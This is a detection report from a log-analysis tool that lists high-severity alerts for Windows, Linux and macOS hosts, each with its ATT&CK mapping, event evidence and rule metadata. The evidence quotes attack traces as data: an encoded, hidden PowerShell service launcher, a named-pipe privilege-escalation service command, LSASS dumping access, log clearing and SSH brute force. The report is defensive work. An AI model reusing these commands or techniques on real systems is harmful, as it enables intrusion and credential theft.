Vigie report

52 alerts to review, 16 of them rated high

Vigie read 441 events from 38 files with 53 detection rules. The logs run from 2020-09-04 07:07:19Z to 2026-10-05 16:20:00Z, about 6 years.

Generated on 2026-11-01 18:22:15Z by Vigie 0.4.2. Alerts are mapped to MITRE ATT&CK 19.2. All times are UTC.

0 critical
16 high
31 medium
5 low
52 alerts (level low and above)
441 events analyzed
38 files read
53 rules loaded

19 alert(s) below the "low" level are not shown (informational: 19); run with --min-level informational to include them.

Where the alerts sit in an attack, by MITRE ATT&CK tactic

Tactics run from the first steps of an attack on the left to its goal on the right. Darker means more alerts.

  • 0 Reconnaissance
  • 0 Resource Development
  • 0 Discovery
  • 0 Lateral Movement
  • 0 Exfiltration
  • 0 Impact

Alerts

Most severe first. Open one to see why it fired and the events behind it.

Showing 52 of 52 alerts
high

Suspicious Service Installed

First seen
2020-09-20 16:16:58Z
Host
WORKSTATION6.theshire.local
Events
1 event(s)

What the rule looks for

Detects a new Windows service (System event 7045) whose command line runs a shell, a script host or a LOLBin, writes into a named pipe, starts a program from an admin share or a temporary or user folder, or names a program without its folder. Attackers install such services to run code as SYSTEM, to move laterally (Impacket, Cobalt Strike, Empire, sc.exe) or to escalate privileges with the named pipe "getsystem" trick.

When
2020-09-20 16:16:58Z
Hosts
WORKSTATION6.theshire.local

What the techniques mean

ATT&CK
T1543.003, T1569.002 (Execution, Persistence, Privilege Escalation)
T1543.003
Create or Modify System Process: Windows Service
Persistence, Privilege Escalation

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.

T1569.002
System Services: Service Execution
Execution

Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.

Evidence: 1 event(s)

  1. 2020-09-20 16:16:58Z Host WORKSTATION6.theshire.local Source system 7045 Origin empire_psexec_dcerpc_tcp_svcctl_service_excerpt.json:2
    ServiceName=Updater ImagePath=%COMSPEC% /C start /b C:\Windows\System32\WindowsPowershell\v1.0\powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAUwBpAE8AbgBUAGEAYgBsAEUALgBQAFMAVgBFAFIAcwBJAE8AbgAuAE0AYQBqAG8AcgAgAC0ARwBFACAAMwApAHsAJ…

False positives to rule out

  • Installers or updaters that register a temporary service from C:\Windows\Temp or a user folder
  • Administrators or management tools that wrap a script in a service with cmd.exe or PowerShell
  • Deployment or scanning tools that copy their agent through the ADMIN$ share and start it as a service

Rule

Title
Suspicious Service Installed
ID
6d03b054-8230-47ba-a957-6b59a2d71c33
Level
high
Status
test
Author
pH-T (Nextron Systems), Florian Roth (Nextron Systems), Teymur Kheirkhabarov, Ecco, oscd.community, Natalia Shornikova (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_system_susp_service_installed.yml
References
high

LSASS Memory Access With Credential Dumping Rights

First seen
2020-09-22 08:38:29Z
Host
WORKSTATION5.theshire.local
Events
1 event(s)

What the rule looks for

Detects a process opening LSASS (Sysmon event 10) with the access rights that Mimikatz, ProcDump, comsvcs.dll MiniDump, Task Manager dumps and similar tools request to read or patch its memory. LSASS memory holds the password hashes, Kerberos tickets and sometimes clear-text passwords of logged-on users.

When
2020-09-22 08:38:29Z
Hosts
WORKSTATION5.theshire.local

What the technique means

ATT&CK
T1003.001 (Credential Access)
T1003.001
OS Credential Dumping: LSASS Memory
Credential Access

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.

Evidence: 1 event(s)

  1. 2020-09-22 08:38:29Z Host WORKSTATION5.theshire.local Source sysmon 10 Origin rdp_interactive_taskmanager_lsass_dump_excerpt.json:7
    SourceImage=C:\windows\system32\taskmgr.exe TargetImage=C:\windows\system32\lsass.exe GrantedAccess=0x1fffff

False positives to rule out

  • Antivirus, EDR, backup or monitoring agents that inspect LSASS (add their exact paths as filters)
  • Process inspection that reads module or handle details of every process, such as Process Explorer or PowerShell Get-Process output serialized over WinRM (0x1410, 0x1f3fff)
  • Administrators dumping LSASS on purpose for troubleshooting with ProcDump or Task Manager
  • Windows installed on a drive other than C:, where the filters do not apply

Rule

Title
LSASS Memory Access With Credential Dumping Rights
ID
cbea5c72-bafb-4200-b58d-fa251eeef003
Level
high
Status
test
Author
Samir Bousseaden, Michael Haag, Florian Roth (Nextron Systems) (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_lsass_memory_access.yml
References
high

LSASS Memory Access With Credential Dumping Rights

First seen
2020-09-22 08:38:29Z
Host
WORKSTATION5.theshire.local
Events
1 event(s)

What the rule looks for

Detects a process opening LSASS (Sysmon event 10) with the access rights that Mimikatz, ProcDump, comsvcs.dll MiniDump, Task Manager dumps and similar tools request to read or patch its memory. LSASS memory holds the password hashes, Kerberos tickets and sometimes clear-text passwords of logged-on users.

When
2020-09-22 08:38:29Z
Hosts
WORKSTATION5.theshire.local

What the technique means

ATT&CK
T1003.001 (Credential Access)
T1003.001
OS Credential Dumping: LSASS Memory
Credential Access

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.

Evidence: 1 event(s)

  1. 2020-09-22 08:38:29Z Host WORKSTATION5.theshire.local Source sysmon 10 Origin rdp_interactive_taskmanager_lsass_dump_excerpt.json:8
    SourceImage=C:\windows\system32\taskmgr.exe TargetImage=C:\windows\system32\lsass.exe GrantedAccess=0x1fffff

False positives to rule out

  • Antivirus, EDR, backup or monitoring agents that inspect LSASS (add their exact paths as filters)
  • Process inspection that reads module or handle details of every process, such as Process Explorer or PowerShell Get-Process output serialized over WinRM (0x1410, 0x1f3fff)
  • Administrators dumping LSASS on purpose for troubleshooting with ProcDump or Task Manager
  • Windows installed on a drive other than C:, where the filters do not apply

Rule

Title
LSASS Memory Access With Credential Dumping Rights
ID
cbea5c72-bafb-4200-b58d-fa251eeef003
Level
high
Status
test
Author
Samir Bousseaden, Michael Haag, Florian Roth (Nextron Systems) (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_lsass_memory_access.yml
References
high

Security Event Log Cleared

First seen
2020-10-18 02:17:00Z
Host
WORKSTATION5
Events
1 event(s)

What the rule looks for

Detects the clearing of the Windows Security audit log (event 1102), e.g. with "wevtutil cl Security" or Clear-EventLog. Attackers clear it to erase the record of their logons and actions.

When
2020-10-18 02:17:00Z
Hosts
WORKSTATION5

What the technique means

ATT&CK
T1685.005 (Defense Impairment)
T1685.005
Disable or Modify Tools: Clear Windows Event Logs
Defense Impairment

Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications.

Evidence: 1 event(s)

  1. 2020-10-18 02:17:00Z Host WORKSTATION5 Source security 1102 Origin wmic_remote_xsl_jscript_excerpt.json:2
    The audit log was cleared. Subject: Security ID: S-1-5-21-3940915590-64593676-1414006259-500 Account Name: wardog Domain Name: WORKSTATION5 Logon ID: 0x13899EA

False positives to rule out

  • Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)
  • System provisioning (system reset before the golden image creation)
  • Lab and test machines whose logs are cleared before each capture

Rule

Title
Security Event Log Cleared
ID
bbb4b441-8965-4e18-8efe-12bec2b08423
Level
high
Status
test
Author
Florian Roth (Nextron Systems) (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_security_log_cleared.yml
References
high

LSASS Memory Access With Credential Dumping Rights

First seen
2020-10-18 23:50:06Z
Host
WORKSTATION5
Events
1 event(s)

What the rule looks for

Detects a process opening LSASS (Sysmon event 10) with the access rights that Mimikatz, ProcDump, comsvcs.dll MiniDump, Task Manager dumps and similar tools request to read or patch its memory. LSASS memory holds the password hashes, Kerberos tickets and sometimes clear-text passwords of logged-on users.

When
2020-10-18 23:50:06Z
Hosts
WORKSTATION5

What the technique means

ATT&CK
T1003.001 (Credential Access)
T1003.001
OS Credential Dumping: LSASS Memory
Credential Access

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.

Evidence: 1 event(s)

  1. 2020-10-18 23:50:06Z Host WORKSTATION5 Source sysmon 10 Origin psh_lsass_memory_dump_comsvcs_excerpt.json:2
    SourceImage=C:\Windows\System32\rundll32.exe TargetImage=C:\windows\system32\lsass.exe GrantedAccess=0x1410

False positives to rule out

  • Antivirus, EDR, backup or monitoring agents that inspect LSASS (add their exact paths as filters)
  • Process inspection that reads module or handle details of every process, such as Process Explorer or PowerShell Get-Process output serialized over WinRM (0x1410, 0x1f3fff)
  • Administrators dumping LSASS on purpose for troubleshooting with ProcDump or Task Manager
  • Windows installed on a drive other than C:, where the filters do not apply

Rule

Title
LSASS Memory Access With Credential Dumping Rights
ID
cbea5c72-bafb-4200-b58d-fa251eeef003
Level
high
Status
test
Author
Samir Bousseaden, Michael Haag, Florian Roth (Nextron Systems) (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_lsass_memory_access.yml
References
high

LSASS Memory Access With Credential Dumping Rights

First seen
2020-10-18 23:50:06Z
Host
WORKSTATION5
Events
1 event(s)

What the rule looks for

Detects a process opening LSASS (Sysmon event 10) with the access rights that Mimikatz, ProcDump, comsvcs.dll MiniDump, Task Manager dumps and similar tools request to read or patch its memory. LSASS memory holds the password hashes, Kerberos tickets and sometimes clear-text passwords of logged-on users.

When
2020-10-18 23:50:06Z
Hosts
WORKSTATION5

What the technique means

ATT&CK
T1003.001 (Credential Access)
T1003.001
OS Credential Dumping: LSASS Memory
Credential Access

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.

Evidence: 1 event(s)

  1. 2020-10-18 23:50:06Z Host WORKSTATION5 Source sysmon 10 Origin psh_lsass_memory_dump_comsvcs_excerpt.json:1
    SourceImage=C:\Windows\System32\rundll32.exe TargetImage=C:\windows\system32\lsass.exe GrantedAccess=0x1fffff

False positives to rule out

  • Antivirus, EDR, backup or monitoring agents that inspect LSASS (add their exact paths as filters)
  • Process inspection that reads module or handle details of every process, such as Process Explorer or PowerShell Get-Process output serialized over WinRM (0x1410, 0x1f3fff)
  • Administrators dumping LSASS on purpose for troubleshooting with ProcDump or Task Manager
  • Windows installed on a drive other than C:, where the filters do not apply

Rule

Title
LSASS Memory Access With Credential Dumping Rights
ID
cbea5c72-bafb-4200-b58d-fa251eeef003
Level
high
Status
test
Author
Samir Bousseaden, Michael Haag, Florian Roth (Nextron Systems) (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_lsass_memory_access.yml
References
high

Security Event Log Cleared

First seen
2020-10-21 11:28:08Z
Host
WORKSTATION5
Events
1 event(s)

What the rule looks for

Detects the clearing of the Windows Security audit log (event 1102), e.g. with "wevtutil cl Security" or Clear-EventLog. Attackers clear it to erase the record of their logons and actions.

When
2020-10-21 11:28:08Z
Hosts
WORKSTATION5

What the technique means

ATT&CK
T1685.005 (Defense Impairment)
T1685.005
Disable or Modify Tools: Clear Windows Event Logs
Defense Impairment

Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications.

Evidence: 1 event(s)

  1. 2020-10-21 11:28:08Z Host WORKSTATION5 Source security 1102 Origin cmd_discover_iexplorer_version_registry_excerpt.json:1
    The audit log was cleared. Subject: Security ID: S-1-5-21-3940915590-64593676-1414006259-500 Account Name: wardog Domain Name: WORKSTATION5 Logon ID: 0xC61D9

False positives to rule out

  • Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)
  • System provisioning (system reset before the golden image creation)
  • Lab and test machines whose logs are cleared before each capture

Rule

Title
Security Event Log Cleared
ID
bbb4b441-8965-4e18-8efe-12bec2b08423
Level
high
Status
test
Author
Florian Roth (Nextron Systems) (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_security_log_cleared.yml
References
high

Important Windows Event Log Cleared

First seen
2020-10-21 11:28:08Z
Host
WORKSTATION5
Events
1 event(s)

What the rule looks for

Detects the clearing of a core Windows event log (System, Security, Sysmon or PowerShell) reported by the Eventlog service as System event 104; clearing the Security log is normally reported as Security event 1102, covered by the Security Event Log Cleared rule. Attackers clear these logs to hide their tracks.

When
2020-10-21 11:28:08Z
Hosts
WORKSTATION5

What the technique means

ATT&CK
T1685.005 (Defense Impairment)
T1685.005
Disable or Modify Tools: Clear Windows Event Logs
Defense Impairment

Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications.

Evidence: 1 event(s)

  1. 2020-10-21 11:28:08Z Host WORKSTATION5 Source system 104 Origin cmd_discover_iexplorer_version_registry_excerpt.json:2
    The System log file was cleared.

False positives to rule out

  • Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)
  • System provisioning (system reset before the golden image creation)
  • Lab and test machines whose logs are cleared before each capture

Rule

Title
Important Windows Event Log Cleared
ID
e28d89fc-b094-4869-be4d-63c90efcdd22
Level
high
Status
test
Author
Florian Roth (Nextron Systems), Tim Shelton, Nasreddine Bencherchali (Nextron Systems) (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_system_important_eventlog_cleared.yml
References
high

Suspicious Service Installed

First seen
2021-06-11 09:07:41Z
Host
WORKSTATION5
Events
1 event(s)

What the rule looks for

Detects a new Windows service (System event 7045) whose command line runs a shell, a script host or a LOLBin, writes into a named pipe, starts a program from an admin share or a temporary or user folder, or names a program without its folder. Attackers install such services to run code as SYSTEM, to move laterally (Impacket, Cobalt Strike, Empire, sc.exe) or to escalate privileges with the named pipe "getsystem" trick.

When
2021-06-11 09:07:41Z
Hosts
WORKSTATION5

What the techniques mean

ATT&CK
T1543.003, T1569.002 (Execution, Persistence, Privilege Escalation)
T1543.003
Create or Modify System Process: Windows Service
Persistence, Privilege Escalation

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.

T1569.002
System Services: Service Execution
Execution

Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.

Evidence: 1 event(s)

  1. 2021-06-11 09:07:41Z Host WORKSTATION5 Source system 7045 Origin aptsimulator_cobaltstrike_service_excerpt.json:2
    ServiceName=tbbd05 ImagePath=%COMSPEC% echo /c b6a1458f396 > \\.\pipe\334485

False positives to rule out

  • Installers or updaters that register a temporary service from C:\Windows\Temp or a user folder
  • Administrators or management tools that wrap a script in a service with cmd.exe or PowerShell
  • Deployment or scanning tools that copy their agent through the ADMIN$ share and start it as a service

Rule

Title
Suspicious Service Installed
ID
6d03b054-8230-47ba-a957-6b59a2d71c33
Level
high
Status
test
Author
pH-T (Nextron Systems), Florian Roth (Nextron Systems), Teymur Kheirkhabarov, Ecco, oscd.community, Natalia Shornikova (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_system_susp_service_installed.yml
References
high

SSH Login After Brute Force

First seen
2024-03-10 09:05:42Z
Host
web01
Events
11 event(s)

What the rule looks for

A successful SSH login from an address whose SSH brute force alert fired in the previous 10 minutes. The attacker has most likely guessed a valid password.

When
2024-03-10 09:05:42Z to 2024-03-10 09:07:05Z
Hosts
web01
Grouped by
src_ip = 203.0.113.45

What the techniques mean

ATT&CK
T1078.003, T1110.001 (Initial Access, Persistence, Privilege Escalation, Stealth, Credential Access)
T1078.003
Valid Accounts: Local Accounts
Initial Access, Persistence, Privilege Escalation, Stealth

Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 11 event(s)

  1. 2024-03-10 09:05:42Z Host web01 Source auth Origin auth.log:6
    Failed password for invalid user oracle from 203.0.113.45 port 40022 ssh2
  2. 2024-03-10 09:05:49Z Host web01 Source auth Origin auth.log:7
    Failed password for root from 203.0.113.45 port 40030 ssh2
  3. 2024-03-10 09:05:56Z Host web01 Source auth Origin auth.log:8
    Failed password for root from 203.0.113.45 port 40038 ssh2
  4. 2024-03-10 09:06:03Z Host web01 Source auth Origin auth.log:9
    Failed password for invalid user admin from 203.0.113.45 port 40046 ssh2
  5. 2024-03-10 09:06:10Z Host web01 Source auth Origin auth.log:10
    Failed password for invalid user admin from 203.0.113.45 port 40054 ssh2
  6. 2024-03-10 09:06:17Z Host web01 Source auth Origin auth.log:11
    Failed password for invalid user test from 203.0.113.45 port 40062 ssh2
  7. 2024-03-10 09:06:24Z Host web01 Source auth Origin auth.log:12
    Failed password for root from 203.0.113.45 port 40070 ssh2
  8. 2024-03-10 09:06:31Z Host web01 Source auth Origin auth.log:13
    Failed password for opsadmin from 203.0.113.45 port 40078 ssh2
  9. 2024-03-10 09:06:38Z Host web01 Source auth Origin auth.log:14
    Failed password for opsadmin from 203.0.113.45 port 40086 ssh2
  10. 2024-03-10 09:07:05Z Host web01 Source auth Origin auth.log:18
    Accepted password for opsadmin from 203.0.113.45 port 40188 ssh2

1 event(s) between the first 9 and the last one are not shown.

False positives to rule out

  • A legitimate user who retried many times before remembering the password
  • A login from an address shared with a host that retries a stale password (NAT gateway, jump host, backup server)

Rule

Title
SSH Login After Brute Force (correlation)
ID
156d0b6d-aea1-479c-91ce-eaf6c08cfa67
Level
high
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_ssh_login_after_bruteforce.yml
References
high

SSH Login After Brute Force

First seen
2024-06-03 08:00:00Z
Host
web01
Events
11 event(s)

What the rule looks for

A successful SSH login from an address whose SSH brute force alert fired in the previous 10 minutes. The attacker has most likely guessed a valid password.

When
2024-06-03 08:00:00Z to 2024-06-03 08:10:00Z
Hosts
web01
Grouped by
src_ip = 203.0.113.77

What the techniques mean

ATT&CK
T1078.003, T1110.001 (Initial Access, Persistence, Privilege Escalation, Stealth, Credential Access)
T1078.003
Valid Accounts: Local Accounts
Initial Access, Persistence, Privilege Escalation, Stealth

Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 11 event(s)

  1. 2024-06-03 08:00:00Z Host web01 Source auth Origin auth_bruteforce_timing.log:1
    Failed password for root from 203.0.113.77 port 41000 ssh2
  2. 2024-06-03 08:00:33Z Host web01 Source auth Origin auth_bruteforce_timing.log:2
    Failed password for root from 203.0.113.77 port 41001 ssh2
  3. 2024-06-03 08:01:06Z Host web01 Source auth Origin auth_bruteforce_timing.log:3
    Failed password for root from 203.0.113.77 port 41002 ssh2
  4. 2024-06-03 08:01:39Z Host web01 Source auth Origin auth_bruteforce_timing.log:4
    Failed password for root from 203.0.113.77 port 41003 ssh2
  5. 2024-06-03 08:02:12Z Host web01 Source auth Origin auth_bruteforce_timing.log:5
    Failed password for root from 203.0.113.77 port 41004 ssh2
  6. 2024-06-03 08:02:45Z Host web01 Source auth Origin auth_bruteforce_timing.log:6
    Failed password for root from 203.0.113.77 port 41005 ssh2
  7. 2024-06-03 08:03:18Z Host web01 Source auth Origin auth_bruteforce_timing.log:7
    Failed password for root from 203.0.113.77 port 41006 ssh2
  8. 2024-06-03 08:03:51Z Host web01 Source auth Origin auth_bruteforce_timing.log:8
    Failed password for root from 203.0.113.77 port 41007 ssh2
  9. 2024-06-03 08:04:24Z Host web01 Source auth Origin auth_bruteforce_timing.log:9
    Failed password for root from 203.0.113.77 port 41008 ssh2
  10. 2024-06-03 08:10:00Z Host web01 Source auth Origin auth_bruteforce_timing.log:20
    Accepted password for root from 203.0.113.77 port 41100 ssh2

1 event(s) between the first 9 and the last one are not shown.

False positives to rule out

  • A legitimate user who retried many times before remembering the password
  • A login from an address shared with a host that retries a stale password (NAT gateway, jump host, backup server)

Rule

Title
SSH Login After Brute Force (correlation)
ID
156d0b6d-aea1-479c-91ce-eaf6c08cfa67
Level
high
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_ssh_login_after_bruteforce.yml
References
high

SSH Login After Brute Force

First seen
2024-06-04 08:05:00Z
Host
deb13
Events
11 event(s)

What the rule looks for

A successful SSH login from an address whose SSH brute force alert fired in the previous 10 minutes. The attacker has most likely guessed a valid password.

When
2024-06-04 08:05:00Z to 2024-06-04 08:05:30Z
Hosts
deb13
Grouped by
src_ip = 203.0.113.90

What the techniques mean

ATT&CK
T1078.003, T1110.001 (Initial Access, Persistence, Privilege Escalation, Stealth, Credential Access)
T1078.003
Valid Accounts: Local Accounts
Initial Access, Persistence, Privilege Escalation, Stealth

Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 11 event(s)

  1. 2024-06-04 08:05:00Z Host deb13 Source auth Origin auth_openssh10.log:3
    Failed password for root from 203.0.113.90 port 51000 ssh2
  2. 2024-06-04 08:05:02Z Host deb13 Source auth Origin auth_openssh10.log:4
    Failed password for root from 203.0.113.90 port 51001 ssh2
  3. 2024-06-04 08:05:04Z Host deb13 Source auth Origin auth_openssh10.log:5
    Failed password for root from 203.0.113.90 port 51002 ssh2
  4. 2024-06-04 08:05:06Z Host deb13 Source auth Origin auth_openssh10.log:6
    Failed password for root from 203.0.113.90 port 51003 ssh2
  5. 2024-06-04 08:05:08Z Host deb13 Source auth Origin auth_openssh10.log:7
    Failed password for root from 203.0.113.90 port 51004 ssh2
  6. 2024-06-04 08:05:10Z Host deb13 Source auth Origin auth_openssh10.log:8
    Failed password for root from 203.0.113.90 port 51005 ssh2
  7. 2024-06-04 08:05:12Z Host deb13 Source auth Origin auth_openssh10.log:9
    Failed password for root from 203.0.113.90 port 51006 ssh2
  8. 2024-06-04 08:05:14Z Host deb13 Source auth Origin auth_openssh10.log:10
    Failed password for root from 203.0.113.90 port 51007 ssh2
  9. 2024-06-04 08:05:16Z Host deb13 Source auth Origin auth_openssh10.log:11
    Failed password for root from 203.0.113.90 port 51008 ssh2
  10. 2024-06-04 08:05:30Z Host deb13 Source auth Origin auth_openssh10.log:13
    Accepted password for root from 203.0.113.90 port 51100 ssh2

1 event(s) between the first 9 and the last one are not shown.

False positives to rule out

  • A legitimate user who retried many times before remembering the password
  • A login from an address shared with a host that retries a stale password (NAT gateway, jump host, backup server)

Rule

Title
SSH Login After Brute Force (correlation)
ID
156d0b6d-aea1-479c-91ce-eaf6c08cfa67
Level
high
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_ssh_login_after_bruteforce.yml
References
high

macOS Launch Item Masquerading As Apple

First seen
2026-10-05 13:20:00Z
Events
1 event(s)

What the rule looks for

A new launch agent or daemon uses a com.apple. label. Apple's own launch items live in /System and are not registered this way, so a com.apple. item showing up in a LaunchAgents or LaunchDaemons folder is most likely a program hiding behind Apple's name to persist, as EvilQuest did with com.apple.questd.

When
2026-10-05 13:20:00Z
Hosts
-

What the techniques mean

ATT&CK
T1036.005, T1543.001, T1543.004 (Persistence, Privilege Escalation, Stealth)
T1036.005
Masquerading: Match Legitimate Resource Name or Location
Stealth

Adversaries may match or approximate the name or location of legitimate files, Registry keys, or other resources when naming/placing them. This is done for the sake of evading defenses and observation.

T1543.001
Create or Modify System Process: Launch Agent
Persistence, Privilege Escalation

Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence.

T1543.004
Create or Modify System Process: Launch Daemon
Persistence, Privilege Escalation

Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.

Evidence: 1 event(s)

  1. 2026-10-05 13:20:00Z Host - Source unifiedlog Origin mac_persistence.ndjson:7
    backgroundtaskmanagementd: new legacy agent com.apple.softwareupdate.check (Software Update): /Users/opsadmin/Library/LaunchAgents/com.apple.softwareupdate.check agent.plist

False positives to rule out

  • Apple software installed outside macOS that brings its own launch items

Rule

Title
macOS Launch Item Masquerading As Apple
ID
8b316231-3fc2-4e5d-bbf1-5ef14bbd26ec
Level
high
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_launch_item_apple_masquerading.yml
References
high

macOS XProtect Behavioral Detection Of Data Theft

First seen
2026-10-05 15:00:00Z
Events
1 event(s)

What the rule looks for

A behavioral rule of XProtect caught a program other than an Apple system binary reading what info stealers go after, such as browser data, the keychains, Messages or password extensions. The decoded XProtect signature name is in the signature field.

When
2026-10-05 15:00:00Z
Hosts
-

What the techniques mean

ATT&CK
T1005, T1539, T1555.001, T1555.003 (Credential Access, Collection)
T1005
Data from Local System
Collection

Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration.

T1539
Steal Web Session Cookie
Credential Access

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

T1555.001
Credentials from Password Stores: Keychain
Credential Access

Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes.

T1555.003
Credentials from Password Stores: Credentials from Web Browsers
Credential Access

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.

Evidence: 1 event(s)

  1. 2026-10-05 15:00:00Z Host - Source unifiedlog Origin mac_gatekeeper_xprotect.ndjson:12
    syspolicyd: XProtect behavioral detection macOS.InfoStealer.Generic (0x800)

False positives to rule out

  • Password managers, backup and migration tools reading browser data or keychains

Rule

Title
macOS XProtect Behavioral Detection Of Data Theft
ID
3261686f-7d29-4f7b-83a5-c93b34408c61
Level
high
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_xprotect_behavior_credential_theft.yml
References
high

macOS XProtect Behavioral Detection Of Data Theft

First seen
2026-10-05 15:00:02Z
Events
1 event(s)

What the rule looks for

A behavioral rule of XProtect caught a program other than an Apple system binary reading what info stealers go after, such as browser data, the keychains, Messages or password extensions. The decoded XProtect signature name is in the signature field.

When
2026-10-05 15:00:02Z
Hosts
-

What the techniques mean

ATT&CK
T1005, T1539, T1555.001, T1555.003 (Credential Access, Collection)
T1005
Data from Local System
Collection

Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration.

T1539
Steal Web Session Cookie
Credential Access

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

T1555.001
Credentials from Password Stores: Keychain
Credential Access

Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes.

T1555.003
Credentials from Password Stores: Credentials from Web Browsers
Credential Access

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.

Evidence: 1 event(s)

  1. 2026-10-05 15:00:02Z Host - Source unifiedlog Origin mac_gatekeeper_xprotect.ndjson:13
    syspolicyd: XProtect behavioral detection macOS.Browser.Generic, macOS.DataExfil.Keychain (0x80001)

False positives to rule out

  • Password managers, backup and migration tools reading browser data or keychains

Rule

Title
macOS XProtect Behavioral Detection Of Data Theft
ID
3261686f-7d29-4f7b-83a5-c93b34408c61
Level
high
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_xprotect_behavior_credential_theft.yml
References
high

macOS SSH Login After Brute Force

First seen
2026-10-05 16:00:00Z
Events
11 event(s)

What the rule looks for

A successful SSH login on a Mac from an address whose SSH brute force alert fired in the previous 10 minutes. The attacker has most likely guessed a valid password.

When
2026-10-05 16:00:00Z to 2026-10-05 16:03:30Z
Hosts
-
Grouped by
src_ip = 203.0.113.77

What the techniques mean

ATT&CK
T1078.003, T1110.001 (Initial Access, Persistence, Privilege Escalation, Stealth, Credential Access)
T1078.003
Valid Accounts: Local Accounts
Initial Access, Persistence, Privilege Escalation, Stealth

Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 11 event(s)

